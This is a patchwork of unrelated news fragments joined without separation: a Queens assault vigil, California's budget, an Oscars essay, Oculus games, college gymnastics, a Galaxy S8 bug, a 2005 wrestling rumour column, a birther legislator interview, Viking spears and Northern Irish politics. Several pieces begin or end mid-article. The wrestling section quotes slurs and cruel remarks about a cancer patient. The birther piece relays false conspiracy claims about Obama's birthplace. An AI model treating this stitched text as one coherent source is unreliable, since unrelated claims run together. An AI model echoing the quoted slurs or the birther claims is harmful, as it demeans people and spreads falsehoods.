“We’re here today because as a community, as elected officials, as community organizations, we demand full justice for what happened to him and we also want to push back that it is not okay to be violent, it is not okay to attack seniors,” the assemblyman added.
Kim was joined at the event by fellow electeds Rep. Grace Meng (D-Flushing), state Sen. Toby Stavisky (D-Flushing), Assemblywoman Nily Rozic (D-Fresh Meadows) and Councilman Peter Koo (D-Flushing).
Tse, who was 68 years old, retired three years ago, and often served food at the senior center. He was on his way there when a driving dispute on July 22 led to the assault in which he was severely injured.
“It sounds crazy and senseless — a minor traffic accident led to a vicious assault that put him into a coma and ultimately killed him,” Meng said. “This brutal attack is disgusting, it’s sickening, we won’t accept it in our communities.”
Dozens of seniors who knew Tse from the Selfhelp center attended the event.
“The suspect and his sister originally tried to cover up the assault, but due to a thorough investigation and video evidence procured by detectives, they determined what really happened,” the congresswoman added.
“It seems ironic that tonight, we’re going to celebrate Night Out Against Crime. That’s something that Mr. Tse probably would have wanted to participate in,” state Sen. Toby Ann Stavisky (D-Flushing) said. “And, in fact, statistics say that crime is down, but not for this family. So, as we gather tonight, let’s think about all of the contributions that Mr. Tse has made.”
“So many of us knew Vincent and by today’s showing, you can tell how much of an impact Vincent had on his community and on seniors right here at the Rosenthal Senior Center as an active volunteer but also as someone who was always smiling every single day as he served seniors,” Rozic, who represents the senior center in the state’s lower chamber, said.
Chan also urged that the charges against Cleamon Anderson — the man who assaulted Tse days before his death — be upgraded. The only charge against Anderson, who will return to court today, Aug. 4 and is being investigated by the District Attorney’s Office, is assault.
CA’s financial situation deteriorated this year, largely because the state spent $1.7 Billion more than it collected in revenue. This over-spending worsened the state’s debt picture.
“Expenses that exceeded revenues and increased long-term obligations resulted in an 81.4 percent decrease in the total net assets for governmental and business-type activities from the 20-10-11 fiscal year,” said the report.
While this report paints a bleak picture of the state’s future, it is also unrealistically optimistic. The report does not include the state’s unfunded liabilities for future employee pensions. It also doesn’t include the $60 billion or more in unfunded health costs for future state retirees.
The state’s balance-sheet may look bad now, but the truth is far worse than even this report suggests.
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There are only two things you really need to know about the Academy Awards: that Citizen Kane didn't win the Oscar for best picture, and that Driving Miss Daisy did.
As we approach the 86th Academy Awards, it's worth remembering those two sobering facts, which perfectly encapsulate the inherent foolishness of gong ceremonies in general, and the Oscars in particular. Ask any film fan how seriously you should take the Academy Awards, and chances are they will point you toward the best director category, where the roll call of winners signally omits Charlie Chaplin, Orson Welles, Howard Hawks, Stanley Kubrick, Jane Campion, David Lynch, Spike Lee and (most famously) Alfred Hitchcock – something that seems to suggest that, over the years, Oscar voters (whose average age is about 142) haven't been the best judges of cinematic brilliance.
Even when they get it right, it's often for the wrong reason – or film. Having been overlooked for decades, Martin Scorsese finally earned a best director statuette at the 79th Academy Awards for The Departed – a decent film, sure enough, but hardly on a par with Mean Streets, Taxi Driver, Raging Bull or Goodfellas, all of which had earned him umpteen international trophies (Baftas, Cannes awards etc) while leaving him beaten to the punch at the Oscars. When he finally got up on the stage to receive his award for The Departed, Scorsese's first comment was: "Could you double-check the envelope?"
The best way to deal with the Oscars is to accept them for what they are; a glittering, back-slapping knees-up designed to make Hollywood feel good about itself. Despite claiming that they are "a global organisation representing the best of an international artform", the membership of Ampas (Academy of Motion Picture Arts and Sciences, which was initially founded to "mediate labour disputes and improve the industry's image") often seem to forget that the boundaries of cinema do not begin and end with the borders of America. For example, although top prize winners The Godfather: Part II, The Last Emperor and Slumdog Millionaire all featured subtitled sequences (and the "silent film" The Artist had regionally interchangeable intertitles), no movie presented entirely in a "foreign language" has ever won the Academy Award for best film – something that speaks volumes about their myopic outlook.
It doesn't help that the foreign language film category, introduced at the 29th Oscars (a nickname not officially adopted by the academy until 1939) to widen the outlook of the awards, boasts a convoluted selection process (each "foreign" country can submit only one movie per year) that has long been a source of controversy. This year, for example, the French hit Blue Is the Warmest Colour was excluded from Oscar eligibility on the grounds that it didn't open in its home country before October 2013, despite winning the coveted Palme d'Or at the Cannes film festival back in May. As a result, France was not allowed to put the film forward as its official Oscar contender; it could do so next year, but by then, its moment may well have passed. It will, however, compete at the Baftas in three weeks' time, where it has a very strong chance of going home with the award for "film not in the English language".
Other Oscar bugbears include the fact that no animated film has ever triumphed in the best picture category, despite early honorary recognition for Walt Disney, who transformed the face of the animated feature film with Snow White and the Seven Dwarfs back in the 1930s. Science-fiction films too have traditionally been snubbed by Oscar, their awards tending to congregate around the categories disparagingly referred to as "technicals" – suggesting that there is something less artistically creative about conjuring eye-boggling images from thin air than acting, writing or directing. If Gravity triumphs in the Oscars' best film category this year, it will have boldly gone where no sci-fi film (from 2001: A Space Odyssey to Avatar) has gone before.
Sidney Poitier with his best actor Oscar in 1963. He was the first African American to win in this category, for Lilies of the Field. Photograph: Rex Features
Most problematically, the Oscars have also been slow to adapt to social change, with a phalanx of white, English-speaking, middle-aged men too often dominating the major awards categories (just as they do Ampas membership itself). In 1974, Julia Phillips became the first woman to receive an Oscar for best picture as one of the producers of The Sting, while in 1977 Lina Wertmüller became the first woman to be nominated for best director, for her work on Seven Beauties – one of only four women to be nominated in that category to date. Indeed, it wasn't until 2010 that Kathryn Bigelow finally broke the gender mould in the best director category, winning the Oscar for the Iraq war drama The Hurt Locker, an extraordinarily tense and visceral thriller.
This year may see another first – if 12 Years a Slave director Steve McQueen achieves victory in either the best film or best director category, then he will be the first black film-maker to do so in the entire history of the Oscars. If I were a betting man, I'd say that 12 Years has the edge over both Gravity and American Hustle for best picture, but when it comes to best director, there doesn't seem to be much in it between McQueen and Alfonso Cuarón (for Gravity) – only the second Mexican film-maker to be named in that category, following Alejandro Gonzáles Iñárritu's nomination for Babel in 2006. Other bookies' favourites include Matthew McConaughey as best actor for Dallas Buyers Club, a role for which he failed to be nominated at the Baftas (the film was eligible, but overlooked), where Chiwetel Ejiofor now seems sure to triumph on 16 February.
In the best actress category, Meryl Streep has already broken another Oscar record this year, extending her list of nominations to 18, the most Academy nods achieved by any performer to date. If she wins for her role in the screen adaptation of Tracy Letts's savage stage-play August: Osage County, she will equal Katharine Hepburn's long-standing record of four Oscar statuettes – although all of Hepburn's awards were in the best actress category (albeit one of them being a tie with Barbara Streisand), while Streep's first win, for Kramer vs Kramer, was a supporting actress victory. Nevertheless, despite her extraordinary run of awards, Streep remains a best actress outsider this year, with not even Gravity's Sandra Bullock (who previously won a best actress Oscar for The Blind Side) seeming able to challenge Cate Blanchett's eye-opening turn in Woody Allen's Blue Jasmine.
In the other categories, I'd love to see supporting actor/actress awards for Barkhad Abdi and Lupita Nyong'o, each outstanding in their first movie roles in Captain Phillips and 12 Years a Slave respectively. Both have a fighting chance of winning but, as always with the Oscars, there's no such thing as a dead cert. Oscar campaigning is a ruthless (and expensive) business, and in the weeks leading up to the ceremony, the gloves come off and everything is up for grabs.
Of course, in the end, it doesn't really matter who wins; the Oscars are, as we have seen, an essentially frivolous sideshow, the petty foibles and prejudices of which have little or nothing to do with the art of great movie-making. If I look back at my own favourite films from the past 20 years (David Cronenberg's Crash and A History of Violence; Michel Gondry's Eternal Sunshine of the Spotless Mind; Guillermo del Toro's Pan's Labyrinth; Tomas Alfredson's Let the Right One In; Lynne Ramsay's We Need to Talk About Kevin) it's notable how few of them have troubled the Oscars' best picture category. When it comes to awards, I'll look elsewhere for my movie steers.
None of which means you can't have fun with the Academy Awards; merely, that you should accept them for what they are. In the calendar overleaf, I've attempted to put together a 30-day Oscar diet to get you up to speed with some of the most interesting and important wins from the jaded history of the Academy Awards. The diet dates right back to the earliest days of the Oscars, when the ceremony took place over a private banquet in the Hollywood Roosevelt hotel, and lasted a mere 15 minutes – just remember that as 2 March turns into 3 March, and you find yourself pinching yourself to stay awake as the 86th awards enters its third, or perhaps fourth hour (the 74th Oscars clocked in at 4 hours and 23 minutes).
Still, at least we have Ellen DeGeneres doing the hosting honours this year, a relief after the toe-curling embarrassment of Seth MacFarlane singing "We Saw Your Boobs" last year – one of the resounding low points of Oscar history.
So, with a month to go before the frocks come out on Hollywood's red carpet, immerse yourself in the history of the Academy Awards with our 30-day diet, and judge for yourself how seriously you should take Oscar…
That’s what Executive Producer David Yee told me when we sat down to talk earlier this month. I asked Yee what Oculus was hoping to see when they looked back on this year by December or early next January.
“We want to hear from people that they’re not waiting for real games anymore,” he said. “We feel like we’ve developed some real games here from real developers that are hours of experiences and not minute demos or little tech demos.”
Yee believes one of this month’s Studios exclusives, Epic Games’ Robo Recall [Review: 7.5/10], was the start of beginning to prove that, also adding that giving it away for free was a way of rewarding early adopters. A lack of full, high-quality games is one of the biggest complaints people leverage against VR in this state; even industry evangelists like Cliff Bleszinski have been saying as much in recent weeks.
By the end of the year Oculus will have released other big games like Lone Echo, From Other Suns, Wilson’s Heart, and The Mage’s Tale, all of which are weapons in the battle against VR’s image problem.
Yee also hopes that developers will continue to learn lessons for this year’s Studios slate. He looked back to year one, explaining that many developers had spent the year learning about the benefits of the company’s new Touch controllers.
“What a lot of people don’t know is that Wilson’s Heart and Lone Echo also started as gamepad games,” he revealed. “Our developers were figuring out how do we make this work with the two buttons and basically trying to pull the trigger. Are they going to have arms on the thumbsticks? So as soon as the developers got Touch earlier in the last year they’re like, “We’re all in.”
Oculus hopes similar lessons are taken from the next year so that we might see another big jump in Studios titles for 2018, too.
Stanford finished behind only two-time defending national champions and No. 2 Florida, which scored 197.475 to Stanford's 197.000. Th Gators won their fourth consecutive regional title.
The Cardinal qualified for the championships for an eighth time in nine years. Stanford had to outperform a loaded field that included five (of six) nationally ranked teams.
Illinois was third at 196.675, followed by Arkansas (196.50), West Virginia (195.65) and New Hampshire (194.825).
The event drew a crowd of 1,445 at West Virginia's Coliseum.
Hong recorded a 9.950 in winning the beam. She also tied for third on bars.
Taylor Rice tied for second on vault (9.950) and placed third on floor (9.900).
Pauline Hanset tied for third on beam (9.900) and fourth on floor (9.875).
Kristina Vaculik placed sixth among the all-around performers, scoring a 39.225.
Elizabeth Price and Samantha Shapiro also placed in the top five of their respective events. Price recorded 9.925 for a fifth-place showing on the vault and Shapiro scored 9.850 to finish fifth on the bars.
Florida's Bridget Sloan was the all-around champion with a score of 39.800. She won the vault title and tied for first on the bars.
Pac-12 rivals Utah, UCLA and Oregon State join Stanford, ranked 11th in the latest GymInfo poll, at the championships. The Beavers are ranked 12th, the Utes are third and the Bruins are seventh.
After downloading a day-one software update, many Galaxy S8 owners in the U.S. and Canada began seeing an error every 30-seconds to a minute with the notice that "DQA keeps stopping." DQA is that Device Quality Agent, and it keeps tabs on Wi-Fi quality throughout the device. The temporary fix was to Force Close the DQA app itself, or to disable Wi-Fi, but neither were long-term solutions. Thankfully, Samsung issued the small urgent update through its Galaxy Apps store starting April 24, and it should roll out to all Galaxy S8 owners in due time to fix the issue.
This is the second time in a week that Samsung has had to deal with a small but vocal minority of customers complaining that a bug had beset their new smartphone. Previously, Samsung announced that it would issue a software update to correct a red tint problem on some of its AMOLED displays.
Following the timeline of the last Dirt Sheet History breaking down the best inside scoops and rumors from Wrestlemania 21 and ECW One Night Stand, we see what happened in the Summer of 2005. Detailing the Muhammad Hassan controversy, Summerslam 2005 and CM Punk’s early days in WWE, here’s Dirt Sheet history covering July through September 2005.
* Hulk Hogan recently went on a rant in FHM in regards to his daughter’s dating life and here’s what he had to say:
“I run a tight ship here, and if you want to date my daughter, Brooke, you must obey the Hulk Hogan Demandments. They’re not commandments – they’re demandments. Obey them, and you might pass the test.
First off, you have to be clean-cut. If you’re a jabroni-you know, tattoos, piercings, purple hair and all that crap-it’s not happening. Not in this lifetime.
You must be respectful. When you come over to my house, I don’t expect a present, but I do expect you to call me Mr. Hogan and that you bring your best behavior, values, and manners. If you come over, and for some reason I’m not around, stay out of my office and my gym. I don’t want my stuff messed with.
Before you take my daughter anywhere, you need to spend some quality time at our house with the family so we can get to know you. That’s also when I’ll be checking to make sure your pupils aren’t dilated and that your eyes aren’t jitterbugging all over the place-drugs and alcohol are a definite no-no.
I prefer that you’re not a wrestler. If you’re meek and mild, I can put the fear of God into you more easily.
You have to be modest. If there’s one thing I can’t stand, it’s cockiness! We had that Aaron Carter kid come by once wanting to date my daughter. He lasted about an hour in my house before I kicked him out. Brooke somehow talked me into inviting him over, and once he was here, he started putting his feet up on the furniture and going into the refrigerator without asking. Finally, I told him to hit the highway.
If I do finally allow you to take Brooke out, I demand that she’s returned home on time and that she call to check in every half-hour. I have GPS installed in her car, so I know where you’re going. I can also remotely shut her car engine down if I think something funny is going on.
Keep your hands to yourself-and that’s not even a demandment, that’s standard procedure if you want to live.
I’ve also taught Brooke how to defend herself. She’s been boxing for three years now and can throw one hell of a right cross. I’ve taught her some submission holds if somebody puts their hand in the wrong place and basic self-defense stuff like the heel stomp, the crotch shot and the thumb-in-the-eye technique. But no one has been stupid enough to disrespect Brooke like that. It would be trouble if they did: I’m not afraid of a good lawsuit.”
* World Wrestling Entertainment has come to agreements on the release of the following Superstars, WWE would like to wish them the best in their future endeavors.
Mark Jindrak
Maven
Shannon Moore
James Yun (Akio)
David Heath (Gangrel)
Billy Kidman
Kevin Fertig (Mordecai)
Spike Dudley
* The following comments have been posted on WWE.com from Brock Lesnar regarding returning to WWE and a meeting that is scheduled with Vince McMahon:
“I’m excited about getting my working boots on and getting back to business, I don’t know what’s going to happen tomorrow in the meeting, I don’t know if I’m returning to WWE, I really don’t. In order for this to happen, it has to work for both Vince and myself.”
“We need to get on the same page. There’s some hard feelings on both ends of this. Sometimes it takes a little time to heal. We’ll know more tomorrow.”
“I had some maturing to do. There comes a time in everybody’s life when you have to grow up. But professional wrestling is in my blood. I may have second guessed it in the past, but I know it now.”
* Last night on RAW, Matt Hardy made his return to WWE by jumping Edge and verbally ripping on Edge, Lita and WWE. The appearance, which was the start of a “worked shoot” storyline, confirms Matt Hardy is back with WWE in some capacity.
* This past Sunday night was the premier episode of Hulk Hogan‘s new reality TV series, “Hogan Knows Best”. VH1 has issued a press release, announcing “Hogan Knows Best” as its most successful series premiere ever. The show scored a 1.9 rating in the coveted 18-49 demographic, topping the other two “CelebReality” season premiers – The Surreal Life (1.5) and Celebrity Fit Club (1.4).
The premier episode of “Hogan Knows Best” was not only the most successful VH1 series premier of all time. Sunday night’s show was also the #2 most watched broadcast in the history of the network.
* Muhammad Hassan will get a World Heavyweight title shot in London, Ontario on Saturday, August 13th against champion Batista.
* The Internet Move Database ran a story yesterday about the Muhammad Hassan angle. They wrote: “A spokesman for World Wrestling Entertainment has acknowledged that airing a match featuring a supposed Arab-American wrestler named Muhammad Hassan on the day of the London subway and bus bombings was ‘terrible’.” They were referring to Gary Davis, who they credited the quote to in a story with Advertising Age. They also disclosed Hassan’s real name, which is Mark Copani.
* WWE.com addressed the reports of UPN nixing the Hassan character in an update this evening:
“Due to the unfortunate terrorist attacks in London on Thursday, July 7, which coincided with our pre-produced WWE SmackDown! program, UPN has asked us to be sensitive to the usage of the Arab-American character, Muhammad Hassan. We have agreed with UPN, and have not had the character on SmackDown! since that date. It is uncertain as to whether or not the WWE will continue with this character beyond this Sunday’s Pay-Per-View, The Great American Bash.”
* Vince McMahon was upset last night with the match that Batista had with JBL. It may have been the fact of Vince McMahon giving too much credit to Triple H who was able to carry Batista through a series of matches, but last night Batista was clearly having problems in the main event working a match with JBL.
* WWE.com has posted an update in its continuing coverage of the Brock Lesnar return story. The following was announced this evening:
WWE.com has learned that Brock Lesnar has met with his attorney, David Olsen, to discuss the written contract offer Lesnar received last week from World Wrestling Entertainment Inc. It is unclear when the contract will be signed. The terms were not disclosed.
* WWE.com posted the following statement:
“After verbally agreeing to terms with WWE, Brock Lesnar has decided to withdraw from any involvement with the company.”
Considering how the company has handled the entire thing from day 1, this could end up being just another “storyline swerve.” We’ll have more information on the topic as it becomes available.
* A number of wrestlers were said to be very disappointed with the way WWE decided to handle Matt Hardy‘s official return to the company. The Matt Hardy storyline was believed to have a tremendous amount of potential and much of the optimism that existed regarding his return has almost completely died down. One of the biggest issues discussed was that WWE seems to have abandoned Hardy’s “anti-establishment” persona by having him shake hands with Vince. While it may be too early to judge whether or not his decision to return was a bad idea, a lot of the momentum he could have had at this point seems to have evaporated.
* Bret Hart and WWE have agreed on a deal for an upcoming DVD chronicling the amazing career of the Hit Man. Bret will be in Stamford over the next several days working on the DVD.
* WWE SmackDown!’s July PPV offering, The Great American Bash, was widely viewed as a disappointment and one of the worst PPVs of the year. Fortunately, it appears not many people had to sit through the show. The initial buyrate estimates for Great American Bash are estimated at around 200,000 buys. Although initial projections are typically a bit lower than the final number, the show is still dangerously close to being the worst-performing WWE event in years.
There was a lot of backstage tension in June as to whether or not the ECW PPV “One Night Stand” would draw a better number than RAW’s June offering, Vengeance. While the final numbers for both of those shows have still yet to be announced (reports indicate they were close), ECW has easily outdrawn SmackDown!’s single-brand show.
This is said to be very disappointing for Batista as he was supposed to be the face of Smackdown coming off his victories against Triple H.
* James ‘Jamie Noble’ Gibson won the Ring of Honor World Title tonight in Dayton, Ohio. He won a 4 Man Elimination Match against Christopher Daniels, Samoa Joe, and defending champion CM Punk. Interesting news, considering that Gibson is on his way back to WWE. This does set up possible title matches with Homicide on 8/20 in New Jersey and possibly Bryan Danielson on 9/17 in Long Island.
* From WWE.com:
WWE.com has learned that Jonathan Coachman has just signed a multi-year deal with World Wrestling Entertainment.
“Obviously, the powers that be love my work,” an arrogant Coach claimed when reached to comment on the signing. “I also received a Coach-sized signing bonus.”
Coach, who has been with WWE for six years, admits that there may have been other options available to him other than the RAW announce table.
“There were tons of other offers on the table, but I thought it was in the Coach’s best interest, as well as WWE’s best interest, to stay home. Let’s face it; the voice that’s running this train is the Coach’s.”
Coach sees big things for him in the future now that is new deal is in place and he’s is an official member of the RAW announce team.
“I’ll be doing commentary long after J.R. and The King are gone.”
* In a pre-pay-per-view meeting, TNA officials informed all superstars that they are no longer permitted to perform at indy shows that will be released on DVD and sold nationally through major stores such as Best Buy.
* Thanks to Datraceman for the following:
I just got back from Summerslam at the MCI Center and let me tell you this was the hottest crowd I have seen in a while. The crowd was very anti-babyface with Kurt Angle, Chris Jericho, and even Eddie Guerrero getting chants.
Matt Hardy‘s career officially ended tonight as well. The crowd was buzzing about this match and when it ended the way it did most people were saying Matt made a mistake coming back. The boos at the end of the match were very loud and real.
Batista didn’t come across well either to the hometown crowd. The biggest pop for him came after the powerbomb on the stairs.
There were a lot of people commenting about wanting to get Captain Charisma shirts and wondering if Christian would make an appearance. Why WWE de-pushes the guy I have no idea. He was clearly on a lot of people’s minds tonight.
Lastly, Hogan/Michaels killed the crowd until about the last 8 minutes or so, then it hit a fever pitch so high the walls were shaking.
Anyway, great card and easily the best PPV since ECW ONS.
Biggest pops:
1. Hogan (by far)
2. Benoit
3. Cena
4. Jericho
5. Finish for the Rey/Eddie match
Biggest heat:
1. JBL
2. Finish to the Matt Hardy match
3. Eugene (especially when he started doing Rock’s moves)
* The Charismatic Enigma Jeff Hardy appeared on the “Between the Ropes” radio show and had a lot to say about the Edge–Lita–Matt Hardy situation, Matt’s dealings with TNA before he returned to WWE as well as and Jeff’s own future in wrestling.
Jeff Hardy sounded very disappointed in the way Matt has been conducting himself recently. He said that he believes Matt knew he was going back to WWE the whole time and that it was wrong to waste TNA’s time and string them along. Numerous TNA officials are understandably upset, considering the amount of time they spent on planning out potential angles for Matt’s anticipated debut in TNA.
He couldn’t defend Matt’s behavior in the last several months and was very upset at his brothers comments on Byte This! that he was closer with Lita than Jeff. He said he didn’t want to get involved with all the drama because he had been close with all 3 people, but was literally forced by Matt to leave nasty voicemails on Edge and Lita’s voicemails.
* In what could be a shocking development, Chris Jericho‘s official website now has a logo of TNA up with Jericho posing in front of it. Jericho, who was recently “fired” from RAW was expected to take some time off to spend with family and concentrate on music, but it was not expected that he would be making any sort of jump to TNA.
* Surprise, surprise. According to several fan reports as of late, Matt Hardy and Lita have been spotted together on the road on several occassions. The latest on the saga is that the two were spotted together at the Bahama Breeze on International Drive in Orlando, on 8/28, where they ate together. Conveniently, this happens to be right after the WWE house show that day.
Well, perhaps we’ll never know the answer to the million-dollar question of whether the two ever broke up or not, but this goes to show you what pro wrestling is all about via PWInsider.com
* Matt Hardy is under the impression that he will be the winner of the Steel Cage match this Sunday against Edge. Although he hasn’t been push as a main-eventer, he remains optimistic about his long-term future in WWE.
* Take this for what its worth. Recently Vince McMahon was pitched a “Dave Chappelle-like gimmick” but he had no idea who he was. McMahon was shown a Chappelle Show tape and he loved it.
* IWGP champion Kazuyuki Fujita will face Masahiro Chono and Brock Lesnar announced today in Japan. Of course it will be interesting too see how this plays out because Lesnar has a no-compete clause with WWE that is still being enforced although he had meetings with WWE earlier this year.
* This past week we reported that WWE is in negotiations with a major “crossover” celebrity to join the company and appear at WrestleMania 22. Word is going around that this unnamed celeb is none other than Major League Baseball star Jose Canseco. We’ll have more on this story as it develops.
* After being missing for an entire week and having his family considering filing a missing person’s report tomorrow, Sean Waltman has showed up at a family member’s house Sunday. Waltman left his grandmother’s house in Florida last Sunday at 6PM but never showed up at the TNA PPV. He hasn’t been in contact with his family or friends for a week.
* WWE up-and-comer CM Punk was trashed backstage recently by veterans Shawn Michaels, Triple H and Michael Hayes, according to the Wrestling Observer’s Dave Meltzer.
The trio was watching one of his matches and began dissecting it immediately. They reportedly commented spitefully of Punk being unable to get over and wrestling as if he were performing a “simulated match” rather than working one.
Paul Heyman is said to be in awe of CM Punk and thought he’d fit in well backstage, but that doesn’t seem to be the case in recent weeks. Some inside sources even went as far as to say that Punk would have been disliked regardless of whether he was a good worker or not. Due to the fact that he isn’t extremely well known, has no outstanding gimmick or isn’t some sort of fine physical specimen, many wrestlers seem to give him the third degree.
* Before the decision was made for Chavo Guerrero‘s new character to be Kerwin White, Guerrero desperately tried to come up with an alternative idea. Vince McMahon was not interested in Guerrero’s proposals, as he had his heart set on the Kerwin White character.
* New rumors are beginning to swirl around that the big celebrity to make an appearance at WrestleMania 22 could be Eminem. He would be brought in for a rap battle or tag-team match with John Cena. No decision has been made yet on if Jose Canseco or Eminem will be the celebrity who’s going to make an appearance at WrestleMania 22.
* The Ultimate Warrior has responded to WWE’s recent invitation for the former WWE Champion to appear on ByteThis! If you think his previous commentaries were controversial, you will not believe his recent comments. He lashes out against Vince, calls Droz a “cripple”, accuses Triple H of abusing muscle-enhancing substances, says Bobby Heenan deserves the battle with cancer he is currently going through, implies Jim Ross has had a romantic relationship with Vince McMahon and more.
Warrior’s commentary was, as always, long and rambling. Below are the “highlights”. WARNING: It gets pretty crude.
In response to the ByteThis! Invitation:
As for my own response to the invitation — I’d say the boil that I am on your ass, Vince McMahon, is causing you even more pain right now than you expected, considering that you believed the DVD would lance it once and for all. Once again, Vince, in a furious, visionless moment, you loaded, locked and fired all at once instead of considering what would be the consequences of shooting off so recklessly. I tried to tell you, Ultimate Warrior is bigger than our dislike for one another. You should have just let Him be what He was. Oh, He still will be — His fans won’t have it any other way. You are, of course, finding this out for yourself right now. But you, look what you’ve done to yourself. Similar to an exhibitionist sick to show the world their tiny, shriveled private parts, you’ve done nothing but unclothe the canker sores of your wicked personality.
Of course, I do NOT accept this brainless, disgraceful invitation. F*CK NO, I do not. You can rescue yourself, Vince. Do your own damage control. I’ve no ear for your begging anymore. Only if you were on fire would I help you — it’d just be too hard to resist pissing on you. Open mic? Then let it truly be open. Let your audience have some fresh air. Flush the toilet bowl once. Let them hear something intelligent, decent and truthful for once. Give them, Vince, what they want — just like you are always bragging the WWE does. Let them be proud for just a few moments that the energetic, intense and colorful Ultimate Warrior persona they loved when they were little kids didn’t become a self-pitying, disappointing, broken-down has-been like all the other brittle-minded skeletons traipsing around your locker rooms or now buried in forgotten about graves. Order the queer and the cripple who host the show to read what I have written here and here, and while they do that have them hold up mirrors looking at themselves so they can know exactly the kind of people in your organization I’m writing about. No apologies — I don’t discriminate for the handicapped who sign on to behave degenerately.
About Triple H:
Hell, Paul, own up little, puffy man. You tried to replicate everything about me. So what you used a few more wrestling moves. Nobody cares and even fewer will remember. It was the Ultimate Warrior intensity and look you strove for ….. It’s a good thing Vince backed off the drug testing as he did because without them you wouldn’t have made muscle grade enough for the real freaks to even let you be one of their friends. BTW, to get rid of the puffy look, get off the GH and train hard. Yeah, that’s right — train hard. Your body tells us all that you train like a tw*t and rely most on your “sports supplements.”
About Bobby Heenan:
As for you, Booby Heenan, it’s just too difficult to keep a straight face talking about the pure two-faced bag of shit you are (and have always been), what, with you also actually wearing one as a piece of body jewelry. You are dying, dis-eased on the inside, and no more time is left to get back any of the integrity that matters the most on death’s bed. Imagine what it will be like, lying there taking in your last breaths, knowing you whored yourself out your whole life, and had to, in your final years, be faced with emptying your own personal shit bag affirming to you the true value of what you achieved in your life. Not even Vince could come up with a better finish than this. Karma is just a beautiful thing to behold.
About Jim Ross:
Jimmie Ross. For the life of me, I don’t get what your beef (should I say pork?), Jimmie, is with the sane and happy ole’ Warriorman. Of course, I can only imagine that a whole hell of a lot of anal pressure must come with being one of Vince’s top *ss-wipes. Yet, still, can I ask — just when did you get to know me well enough to go on and on about me as you seem so fit to do? Can we substantiate some time period, here? Discussions or meetings that were held? Or is this too much to ask? I’m not the only one who’d like to know. Everyone is asking the same question: “Just when did Jim Ross get to know Warrior so well to have these endless opinions about him that he does?” All anyone can think of, largely because it is so apparent across the board throughout the entire DVD, is that, again, envy alone provides you (and everyone else for that matter) with the enlightenment and answers. You are obviously jealous of both the fact that I never let Vince have his way with me as he has with you and everyone else and, also, that you never had the chance to bend me over either since becoming the Mother Hen over the talent around about ‘96 when I was last there.
Stories are credited from Rajah, PWTorch, PWInsider and The Wrestling Observer. Month name photo art is by Phillip Martin.
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This morning, in an attempt to end, once-and-for-all, the right-wing conspiracy that he is not eligible for office, President Barack Obama released his long-form birth certificate from the state of Hawaii. “The President believed the distraction over his birth certificate wasn’t good for the country,” the White House said in a statement.
But those distractions won’t be going away anytime soon. I just got off the phone with Texas GOP State Rep. Leo Berman, sponsor of his state’s birther bill, and a vocal proponent of the idea that the President was not born in this country. Berman, who has explained previously that he gets much of his news via “YouTubes,” was not aware of the White House’s release when I called him up, but his initial reaction more or less set the tone: “I wonder why it took them almost two years to release that? That seems kind of strange.”
I sent Berman the White House’s statement and a copy of the certificate, and after a few minutes he called back ready to talk. “If this is the true birth certificate, I’m very happy to finally see it,” he said. But today’s news didn’t answer his lingering doubts; if anything, it raised even more questions. Berman was comparing the White House release with another birth certificate he said was from Mombasa, Kenya. “There are two hospitals [in Honolulu] at the time and neither hospital will claim him,” Berman said. “Today, if you have a hospital where the president was born they’d probably take the room where he was born and make a shrine out of it.” Plus, the Kenyan certificate just seemed more compelling: “When I look at the one from Kenya, there is a British lord who is the clerk for registering all births in Kenya at that time.” He added, “The one from Mombasa even has a footprint on it. Like a human footprint.”
Berman also raised concerns that the listed address for Obama’s mother, Ann Dunham, was false, and that the attendant’s signature might be a ruse as well: “The name of the person certifying the doctor, David A. somebody. Looks like S-M-I-L-N or something. Smilin? Where it says the ‘signature of attendant.’ I wonder if he’s still living?” He also suggested that Obama benefited from outside assistance in getting into Columbia—echoing, in part, an allegation made by Donald Trump. “I don’t know who paid for it,” he explained.
Berman said he has no plans to drop his bill but wasn’t optimistic it would become law. “I don’t think it’s going anywhere,” he said. “I don’t think our governor wants to cause any disruptions. He wants to go on with the usual campaign issues.”
Odin had a spear that was made from the World tree Yggdrasil named Gungnir. The Prose Edda says that Odin will carry his spear Gungnir and lead the bravest that had fallen on the battlefield and had been taken to the Halls of Valhalla. These fallen warriors from Valhalla are called the Einherjar and Odin will lead them to the battlefield during the Ragnarok event.
The spear held great symbolic importance to the Norse warrior and was the most common weapon during the early Viking Age. Spears were also cheap and easy to produce because they could be made with inferior steel. Notwithstanding, they were a very effective weapon that required minimal skill or training to use.
Most Viking spearheads were long and thin and ranged from 30 to 50 centimeters (12 to 20 inches) long. The Norse used a length of a bladed spearhead that is generally reserved in modern times for boar hunting.
Although many spears would be thrown into enemy lines, they were just as useful when employed as thrusting or slashing weapons. The length of the spear shafts averaged from 2 to 2.5 meters (6 ½ to 8 feet) long and were usually made of strong durable ash. A typical Norse spear was a long bladed spearhead mounted on a sturdy shaft.
Spearheads with wings are called krókspjót (hooked spears) in the sagas. Some larger spearheads that could be used for cutting were called höggspjót (hewing spear).
The Norse used a variety of spear types for varied kinds of combat fighting methods.
It is likely that such spears were used in two hands.
Although it has been suggested that these could be used in conjunction with a shield, it is perhaps more likely that they were used without a shield once the combat closed beyond the area in which missiles could be useful.
Lighter weight, shorter spears with narrower spearheads were used as javelins in the opening rounds of a battle. Some of these throwing spears were barbed as well. The smaller throwing spears have been found in large numbers by archeologists as the Vikings would hurl a salvo of missiles at their enemy as the lines closed.
The Viking Sagas tell of many heroes removing the pin that held the spearhead in place before throwing it, so the enemy couldn’t reuse the weapon. These smaller spears could have also be used as a single-handed weapon with a shield. While the longer spears with the broader spearhead were probably used with two hands.
Prime Minister Nuri Kamal al-Maliki denounced the reports, while his opponents called them an indictment of his administration.
Julian Assange and Daniel Ellsberg, who leaked the Pentagon Papers, lashed out at the Obama administration’s aggressive pursuit of whistle-blowers.
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Ahern was responding to suggestions from the DUP that the mandatory power-sharing arrangement in Northern Ireland may have to be reviewed.
An election in Northern Ireland is looking more and more likely after Sinn Féin’s Martin McGuinness stepped down as Deputy First Minister in protest at Foster’s handling of the ‘cash for ash’ scandal.
If Sinn Féin does not come back into the fold as coalition partner by next Monday then an election will be called.
It’s led to suggestions from the DUP’s Jeffrey Donaldson that the governmental arrangements forged under the Good Friday Agreement may have to be renegotiated.
Foster subsequently made similar comments and speaking today on RTÉ’s Sean O’Rourke programme, Ahern described this talk as “dangerous”.
“One of the things Arlene Foster was saying yesterday, which was absolutely crazy and dangerous,” Ahern said.
